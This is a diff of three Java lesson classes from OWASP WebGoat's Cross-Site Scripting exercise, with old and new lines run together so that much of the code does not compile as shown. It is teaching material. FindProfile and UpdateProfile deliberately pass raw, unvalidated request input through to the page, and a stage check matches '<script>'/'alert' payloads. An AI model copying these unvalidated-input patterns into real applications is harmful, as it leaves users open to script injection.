* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class EditProfile extends DefaultLessonAction public class EditProfile extends DefaultLessonAction
{ {
public EditProfile(GoatHillsFinancial lesson, String lessonName, public EditProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{ {
int userId = getUserId(s); super(lesson, lessonName, actionName);
int employeeId = s.getParser().getIntParameter(
CrossSiteScripting.EMPLOYEE_ID);
Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "."
+ CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee);
} }
else
throw new UnauthenticatedException();
}
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
public String getNextPage(WebSession s) UnauthorizedException
{
return CrossSiteScripting.EDITPROFILE_ACTION;
}
public Employee getEmployeeProfile(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{ {
String query = "SELECT * FROM employee WHERE userid = ?"; getLesson().setCurrentAction(s, getActionName());
try if (isAuthenticated(s))
{
PreparedStatement answer_statement = WebSession
.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next())
{ {
// Note: Do NOT get the password field. int userId = getUserId(s);
profile = new Employee(answer_results.getInt("userid"), int employeeId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID);
answer_results.getString("first_name"),
answer_results.getString("last_name"), Employee employee = getEmployeeProfile(s, userId, employeeId);
answer_results.getString("ssn"), answer_results setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee);
.getString("title"), answer_results }
.getString("phone"), answer_results else
.getString("address1"), answer_results throw new UnauthenticatedException();
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
} }
return profile; public String getNextPage(WebSession s)
}
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{ {
String query = "SELECT * FROM employee WHERE userid = ?"; return CrossSiteScripting.EDITPROFILE_ACTION;
}
try public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{ {
PreparedStatement answer_statement = WebSession Employee profile = null;
.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE, // Query the database for the profile data of the given employee
ResultSet.CONCUR_READ_ONLY); try
answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next())
{ {
// Note: Do NOT get the password field. String query = "SELECT * FROM employee WHERE userid = ?";
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"), try
answer_results.getString("last_name"), {
answer_results.getString("ssn"), answer_results PreparedStatement answer_statement = WebSession.getConnection(s)
.getString("title"), answer_results .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
.getString("phone"), answer_results answer_statement.setInt(1, subjectUserId);
.getString("address1"), answer_results ResultSet answer_results = answer_statement.executeQuery();
.getString("address2"), answer_results if (answer_results.next())
.getInt("manager"), answer_results {
.getString("start_date"), answer_results // Note: Do NOT get the password field.
.getInt("salary"), answer_results profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
.getString("ccn"), answer_results answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getInt("ccn_limit"), answer_results .getString("title"), answer_results.getString("phone"), answer_results
.getString("disciplined_date"), .getString("address1"), answer_results.getString("address2"), answer_results
answer_results.getString("disciplined_notes"), .getInt("manager"), answer_results.getString("start_date"), answer_results
answer_results.getString("personal_description")); .getInt("salary"), answer_results.getString("ccn"), answer_results
/* System.out.println("Retrieved employee from db: " + .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
profile.getFirstName() + " " + profile.getLastName() + .getString("disciplined_notes"), answer_results.getString("personal_description"));
" (" + profile.getId() + ")"); /*
*/} * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
} * profile.getLastName() + " (" + profile.getId() + ")");
catch (SQLException sqle) */}
{ } catch (SQLException sqle)
s.setMessage("Error getting employee profile"); {
sqle.printStackTrace(); s.setMessage("Error getting employee profile");
} sqle.printStackTrace();
} }
catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
}
return profile;
} }
return profile; public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
} {
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = ?";
try
{
PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
} catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.CrossSiteScripting; package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.sql.PreparedStatement; import java.sql.PreparedStatement;
@ -7,7 +8,6 @@ import java.util.HashMap;
import java.util.Map; import java.util.Map;
import java.util.regex.Matcher; import java.util.regex.Matcher;
import java.util.regex.Pattern; import java.util.regex.Pattern;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@ -18,239 +18,202 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class FindProfile extends DefaultLessonAction public class FindProfile extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public FindProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
public FindProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
{
if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." super(lesson, lessonName, actionName);
+ CrossSiteScripting.USER_ID); this.chainedAction = chainedAction;
}
String searchName = null; public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
try UnauthorizedException, ValidationException
{ {
searchName = getRequestParameter(s, if (isAuthenticated(s))
CrossSiteScripting.SEARCHNAME);
Employee employee = null;
employee = findEmployeeProfile(s, userId, searchName);
if (employee == null)
{ {
setSessionAttribute(s, getLessonName() + "." int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID);
+ CrossSiteScripting.SEARCHRESULT_ATTRIBUTE_KEY,
"Employee " + searchName + " not found.");
}
}
catch (ValidationException e)
{
if (CrossSiteScripting.STAGE6.equals(getStage(s)))
{
setStageComplete(s, CrossSiteScripting.STAGE6);
}
throw e;
}
if (CrossSiteScripting.STAGE5.equals(getStage(s))) String searchName = null;
{ try
if (searchName.indexOf("<script>") > -1 {
&& searchName.indexOf("alert") > -1 searchName = getRequestParameter(s, CrossSiteScripting.SEARCHNAME);
&& searchName.indexOf("</script>") > -1)
{
setStageComplete(s, CrossSiteScripting.STAGE5);
}
}
// Execute the chained Action if the employee was found. Employee employee = null;
if (foundEmployee(s))
{ employee = findEmployeeProfile(s, userId, searchName);
if (employee == null)
{
setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.SEARCHRESULT_ATTRIBUTE_KEY,
"Employee " + searchName + " not found.");
}
} catch (ValidationException e)
{
if (CrossSiteScripting.STAGE6.equals(getStage(s)))
{
setStageComplete(s, CrossSiteScripting.STAGE6);
}
throw e;
}
if (CrossSiteScripting.STAGE5.equals(getStage(s)))
{
if (searchName.indexOf("<script>") > -1 && searchName.indexOf("alert") > -1
&& searchName.indexOf("</script>") > -1)
{
setStageComplete(s, CrossSiteScripting.STAGE5);
}
}
// Execute the chained Action if the employee was found.
if (foundEmployee(s))
{
try
{
chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
} catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
}
}
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
String page = CrossSiteScripting.SEARCHSTAFF_ACTION;
if (foundEmployee(s)) page = CrossSiteScripting.VIEWPROFILE_ACTION;
return page;
}
protected String getRequestParameter(WebSession s, String name) throws ParameterNotFoundException,
ValidationException
{
return s.getParser().getRawParameter(name);
}
protected String getRequestParameter_BACKUP(WebSession s, String name) throws ParameterNotFoundException,
ValidationException
{
return s.getParser().getRawParameter(name);
}
public Employee findEmployeeProfile(WebSession s, int userId, String pattern) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try try
{ {
chainedAction.handleRequest(s); String query = "SELECT * FROM employee WHERE first_name like ? OR last_name like ?";
}
catch (UnauthenticatedException ue1) try
{
PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setString(1, "%" + pattern + "%");
answer_statement.setString(2, "%" + pattern + "%");
ResultSet answer_results = answer_statement.executeQuery();
// Just use the first hit.
if (answer_results.next())
{
int id = answer_results.getInt("userid");
// Note: Do NOT get the password field.
profile = new Employee(id, answer_results.getString("first_name"), answer_results
.getString("last_name"), answer_results.getString("ssn"),
answer_results.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/
setRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID, Integer.toString(id));
}
} catch (SQLException sqle)
{
s.setMessage("Error finding employee profile");
sqle.printStackTrace();
}
} catch (Exception e)
{ {
System.out.println("Internal server error"); s.setMessage("Error finding employee profile");
ue1.printStackTrace(); e.printStackTrace();
} }
catch (UnauthorizedException ue2)
return profile;
}
private boolean foundEmployee(WebSession s)
{
boolean found = false;
try
{ {
System.out.println("Internal server error"); getIntRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID);
ue2.printStackTrace(); found = true;
} } catch (ParameterNotFoundException e)
}
}
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
String page = CrossSiteScripting.SEARCHSTAFF_ACTION;
if (foundEmployee(s))
page = CrossSiteScripting.VIEWPROFILE_ACTION;
return page;
}
protected String getRequestParameter(WebSession s, String name)
throws ParameterNotFoundException, ValidationException
{
return s.getParser().getRawParameter(name);
}
protected String getRequestParameter_BACKUP(WebSession s, String name)
throws ParameterNotFoundException, ValidationException
{
return s.getParser().getRawParameter(name);
}
public Employee findEmployeeProfile(WebSession s, int userId, String pattern)
throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE first_name like ? OR last_name like ?";
try
{
PreparedStatement answer_statement = WebSession
.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
answer_statement.setString(1, "%" + pattern + "%");
answer_statement.setString(2, "%" + pattern + "%");
ResultSet answer_results = answer_statement.executeQuery();
// Just use the first hit.
if (answer_results.next())
{ {
int id = answer_results.getInt("userid");
// Note: Do NOT get the password field.
profile = new Employee(id, answer_results
.getString("first_name"), answer_results
.getString("last_name"), answer_results
.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"),
answer_results.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/
setRequestAttribute(s, getLessonName() + "."
+ CrossSiteScripting.EMPLOYEE_ID, Integer
.toString(id));
} }
}
catch (SQLException sqle) return found;
{
s.setMessage("Error finding employee profile");
sqle.printStackTrace();
}
} }
catch (Exception e)
protected String validate(final String parameter, final Pattern pattern) throws ValidationException
{ {
s.setMessage("Error finding employee profile"); Matcher matcher = pattern.matcher(parameter);
e.printStackTrace(); if (!matcher.matches()) throw new ValidationException();
return parameter;
} }
return profile; protected static Map<String, Pattern> patterns = new HashMap<String, Pattern>();
} static
private boolean foundEmployee(WebSession s)
{
boolean found = false;
try
{ {
getIntRequestAttribute(s, getLessonName() + "." patterns.put(CrossSiteScripting.SEARCHNAME, Pattern.compile("[a-zA-Z ]{0,20}"));
+ CrossSiteScripting.EMPLOYEE_ID);
found = true;
} }
catch (ParameterNotFoundException e)
{}
return found;
}
protected String validate(final String parameter, final Pattern pattern)
throws ValidationException
{
Matcher matcher = pattern.matcher(parameter);
if (!matcher.matches())
throw new ValidationException();
return parameter;
}
protected static Map<String, Pattern> patterns = new HashMap<String, Pattern>();
static
{
patterns.put(CrossSiteScripting.SEARCHNAME, Pattern
.compile("[a-zA-Z ]{0,20}"));
}
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.CrossSiteScripting; package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.sql.ResultSet; import java.sql.ResultSet;
@ -6,9 +7,7 @@ import java.sql.PreparedStatement;
import java.sql.Statement; import java.sql.Statement;
import java.util.regex.Matcher; import java.util.regex.Matcher;
import java.util.regex.Pattern; import java.util.regex.Pattern;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@ -20,417 +19,370 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class UpdateProfile extends DefaultLessonAction public class UpdateProfile extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
public UpdateProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
{
if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." super(lesson, lessonName, actionName);
+ CrossSiteScripting.USER_ID); this.chainedAction = chainedAction;
}
int subjectId = s.getParser().getIntParameter( public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
CrossSiteScripting.EMPLOYEE_ID, 0); UnauthorizedException, ValidationException
{
Employee employee = null; if (isAuthenticated(s))
try
{
employee = parseEmployeeProfile(subjectId, s);
}
catch (ValidationException e)
{
if (CrossSiteScripting.STAGE2.equals(getStage(s)))
{ {
setStageComplete(s, CrossSiteScripting.STAGE2); int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID);
int subjectId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID, 0);
Employee employee = null;
try
{
employee = parseEmployeeProfile(subjectId, s);
} catch (ValidationException e)
{
if (CrossSiteScripting.STAGE2.equals(getStage(s)))
{
setStageComplete(s, CrossSiteScripting.STAGE2);
}
throw e;
}
if (subjectId > 0)
{
this.changeEmployeeProfile(s, userId, subjectId, employee);
setRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID, Integer
.toString(subjectId));
}
else
this.createEmployeeProfile(s, userId, employee);
try
{
chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
} catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
} }
throw e; else
} throw new UnauthenticatedException();
if (subjectId > 0)
{
this.changeEmployeeProfile(s, userId, subjectId, employee);
setRequestAttribute(s, getLessonName() + "."
+ CrossSiteScripting.EMPLOYEE_ID, Integer
.toString(subjectId));
}
else
this.createEmployeeProfile(s, userId, employee);
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
} }
else
throw new UnauthenticatedException();
}
protected Employee parseEmployeeProfile(int subjectId, WebSession s) throws ParameterNotFoundException,
protected Employee parseEmployeeProfile(int subjectId, WebSession s) ValidationException
throws ParameterNotFoundException, ValidationException
{
// The input validation can be added using a parsing component
// or by using an inline regular expression. The parsing component
// is the better solution.
HttpServletRequest request = s.getRequest();
String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME);
String lastName = request.getParameter(CrossSiteScripting.LAST_NAME);
String ssn = request.getParameter(CrossSiteScripting.SSN);
String title = request.getParameter(CrossSiteScripting.TITLE);
String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER);
String address1 = request.getParameter(CrossSiteScripting.ADDRESS1);
String address2 = request.getParameter(CrossSiteScripting.ADDRESS2);
int manager = Integer.parseInt(request
.getParameter(CrossSiteScripting.MANAGER));
String startDate = request.getParameter(CrossSiteScripting.START_DATE);
int salary = Integer.parseInt(request
.getParameter(CrossSiteScripting.SALARY));
String ccn = request.getParameter(CrossSiteScripting.CCN);
int ccnLimit = Integer.parseInt(request
.getParameter(CrossSiteScripting.CCN_LIMIT));
String disciplinaryActionDate = request
.getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = request
.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request
.getParameter(CrossSiteScripting.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn,
title, phone, address1, address2, manager, startDate, salary,
ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription);
return employee;
}
protected Employee parseEmployeeProfile_BACKUP(int subjectId, WebSession s)
throws ParameterNotFoundException, ValidationException
{
// The input validation can be added using a parsing component
// or by using an inline regular expression. The parsing component
// is the better solution.
HttpServletRequest request = s.getRequest();
String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME);
String lastName = request.getParameter(CrossSiteScripting.LAST_NAME);
String ssn = request.getParameter(CrossSiteScripting.SSN);
String title = request.getParameter(CrossSiteScripting.TITLE);
String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER);
String address1 = request.getParameter(CrossSiteScripting.ADDRESS1);
String address2 = request.getParameter(CrossSiteScripting.ADDRESS2);
int manager = Integer.parseInt(request
.getParameter(CrossSiteScripting.MANAGER));
String startDate = request.getParameter(CrossSiteScripting.START_DATE);
int salary = Integer.parseInt(request
.getParameter(CrossSiteScripting.SALARY));
String ccn = request.getParameter(CrossSiteScripting.CCN);
int ccnLimit = Integer.parseInt(request
.getParameter(CrossSiteScripting.CCN_LIMIT));
String disciplinaryActionDate = request
.getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = request
.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request
.getParameter(CrossSiteScripting.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn,
title, phone, address1, address2, manager, startDate, salary,
ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription);
return employee;
}
protected Employee doParseEmployeeProfile(int subjectId,
ParameterParser parser) throws ParameterNotFoundException,
ValidationException
{
// Fix this method using the org.owasp.webgoat.session.ParameterParser class
return null;
}
public String getNextPage(WebSession s)
{
return CrossSiteScripting.VIEWPROFILE_ACTION;
}
public void changeEmployeeProfile(WebSession s, int userId, int subjectId,
Employee employee) throws UnauthorizedException
{
try
{ {
// Note: The password field is ONLY set by ChangePassword // The input validation can be added using a parsing component
// or by using an inline regular expression. The parsing component
// is the better solution.
HttpServletRequest request = s.getRequest();
String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME);
String lastName = request.getParameter(CrossSiteScripting.LAST_NAME);
String ssn = request.getParameter(CrossSiteScripting.SSN);
String title = request.getParameter(CrossSiteScripting.TITLE);
String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER);
String address1 = request.getParameter(CrossSiteScripting.ADDRESS1);
String address2 = request.getParameter(CrossSiteScripting.ADDRESS2);
int manager = Integer.parseInt(request.getParameter(CrossSiteScripting.MANAGER));
String startDate = request.getParameter(CrossSiteScripting.START_DATE);
int salary = Integer.parseInt(request.getParameter(CrossSiteScripting.SALARY));
String ccn = request.getParameter(CrossSiteScripting.CCN);
int ccnLimit = Integer.parseInt(request.getParameter(CrossSiteScripting.CCN_LIMIT));
String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription);
return employee;
}
protected Employee parseEmployeeProfile_BACKUP(int subjectId, WebSession s) throws ParameterNotFoundException,
ValidationException
{
// The input validation can be added using a parsing component
// or by using an inline regular expression. The parsing component
// is the better solution.
HttpServletRequest request = s.getRequest();
String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME);
String lastName = request.getParameter(CrossSiteScripting.LAST_NAME);
String ssn = request.getParameter(CrossSiteScripting.SSN);
String title = request.getParameter(CrossSiteScripting.TITLE);
String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER);
String address1 = request.getParameter(CrossSiteScripting.ADDRESS1);
String address2 = request.getParameter(CrossSiteScripting.ADDRESS2);
int manager = Integer.parseInt(request.getParameter(CrossSiteScripting.MANAGER));
String startDate = request.getParameter(CrossSiteScripting.START_DATE);
int salary = Integer.parseInt(request.getParameter(CrossSiteScripting.SALARY));
String ccn = request.getParameter(CrossSiteScripting.CCN);
int ccnLimit = Integer.parseInt(request.getParameter(CrossSiteScripting.CCN_LIMIT));
String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription);
return employee;
}
protected Employee doParseEmployeeProfile(int subjectId, ParameterParser parser) throws ParameterNotFoundException,
ValidationException
{
// Fix this method using the org.owasp.webgoat.session.ParameterParser class
return null;
}
public String getNextPage(WebSession s)
{
return CrossSiteScripting.VIEWPROFILE_ACTION;
}
public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee)
throws UnauthorizedException
{
try
{
// Note: The password field is ONLY set by ChangePassword
String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?," String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
